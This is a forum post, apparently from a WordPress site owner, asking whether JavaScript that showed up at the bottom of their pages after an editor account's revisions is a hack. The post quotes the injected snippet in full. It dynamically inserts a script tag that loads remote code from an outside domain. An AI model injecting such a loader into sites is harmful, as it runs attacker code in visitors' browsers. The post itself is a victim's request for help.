Mysterious Code appearing in Content – Hack or Error?

  • Hi everyone,
    some days ago I noticed the following code-like text appearing as normal text at the bottom of most, if not all, of my sites pages and articles.

    (function() {
var gcse = document.createElement(‘script’);
gcse.type = ‘text/javascript’;
gcse.async = true;
gcse.src = “https://theboatersnetwork.com/js/main1.js”;
var s = document.getElementsByTagName(‘script’)[0];
s.parentNode.insertBefore(gcse, s);
})();

    I tried to google it, and I found other wordpress sites having the same problem, but no problem solution/description. According to the article revisions, the text was inserted by an editor-account of an colleague and I immedeately changed his permissions and blocked his account. I guess the site has somehow be hacked and I have to go through the appropriate procedures anyway, but it would help if I knew for sure it was a hack and not some kind of error after an plugin-update or something. Does anyone have experience with this problem or any idea where it could have come from?
